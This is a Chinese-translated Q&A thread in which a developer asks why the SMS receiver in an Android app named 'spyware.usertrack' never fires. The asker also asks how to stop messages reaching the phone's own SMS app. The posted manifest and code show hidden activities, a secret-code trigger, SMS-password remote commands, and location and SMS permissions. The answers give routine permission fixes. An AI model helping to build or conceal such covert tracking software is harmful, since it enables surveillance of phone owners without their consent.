1

我已经查看了所有“常见”错误,但我没有犯过(不幸的是)。

我一生都无法弄清楚为什么(至少),我没有收到日志消息!

AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.liamwli.spyware.usertrack"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="7"
        android:targetSdkVersion="10" />

    <permission
        android:name="com.liamwli.spyware.usertrack.permission.PREFS"
        android:description="@string/permdisc"
        android:label="Prefs"
        android:logo="@drawable/ic_launcher"
        android:protectionLevel="signature" >
    </permission>

    <uses-permission android:name="com.liamwli.spyware.usertrack.permission.PREFS" />

    <permission
        android:name="com.liamwli.spyware.usertrack.permission.CONFIG"
        android:description="@string/permdiscconfig"
        android:label="Config"
        android:logo="@drawable/ic_launcher"
        android:protectionLevel="signature" >
    </permission>

    <uses-permission android:name="com.liamwli.spyware.usertrack.permission.CONFIG" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name=".ProcessSMS"
            android:excludeFromRecents="true"
            android:label="@string/app_name" >
        </activity>
        <activity android:name=".Launcher" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".ActivityConfig"
            android:excludeFromRecents="true"
            android:exported="true"
            android:label="@string/app_name"
            android:permission="com.liamwli.spyware.usertrack.permission.CONFIG" >
        </activity>
        <activity
            android:name=".Prefs"
            android:permission="com.liamwli.spyware.usertrack.permission.PREFS" >
            <intent-filter>
                <action android:name="com.liamwli.spyware.usertrack.PREFS" />

                <category android:name="android.intent.cetagory.PREFERENCE" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".CodeReceive"
            android:enabled="true"
            android:excludeFromRecents="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE" />

                <data android:scheme="android_secret_code" />
            </intent-filter>
        </receiver>
        <receiver
            android:name=".ReceiveSMS"
            android:enabled="true"
            android:exported="true" >
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

接收短信.java:

package com.liamwli.spyware.usertrack;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class ReceiveSMS extends BroadcastReceiver {

    SharedPreferences prefs;
    SharedPreferences.Editor edit;

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO Auto-generated method stub

        Log.d("User Track", "SMS Received!");

        prefs = PreferenceManager.getDefaultSharedPreferences(context);
        edit = prefs.edit();

        Bundle myBundle = intent.getExtras();
        SmsMessage[] messages = null;
        String strMessage = "";

        if (myBundle != null) {
            Object[] pdus = (Object[]) myBundle.get("pdus");
            messages = new SmsMessage[pdus.length];

            for (int i = 0; i < messages.length; i++) {
                messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                if (messages[i].getMessageBody().toString()
                        .equals(prefs.getString("cbp_pass", null))) {

                    Log.d("User Track", "Message Equals Password!");
                    Intent start = new Intent(context, ProcessSMS.class);
                    start.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    start.putExtra("Sender",
                            messages[i].getOriginatingAddress());
                    context.startActivity(start);

                }

            }

        }
    }
}

我什至没有收到“收到短信!” 日志消息,它告诉我这根本不起作用。

第二个问题是,我怎样才能让 SMS 绕过 SMS 应用程序并直接进入我的应用程序?

4

2 回答 2

3

你没有android.permission.RECEIVE_SMS权限。添加

<uses-permission android:name="android.permission.RECEIVE_SMS" />

到你的清单。

于 2013-01-06T14:48:38.170 回答
0

这适用于我,因为 API 级别 23。我们需要在运行时请求权限。希望这可以帮助任何有类似问题的人。 https://stackoverflow.com/a/35462909/4544780

于 2016-02-17T17:15:58.030 回答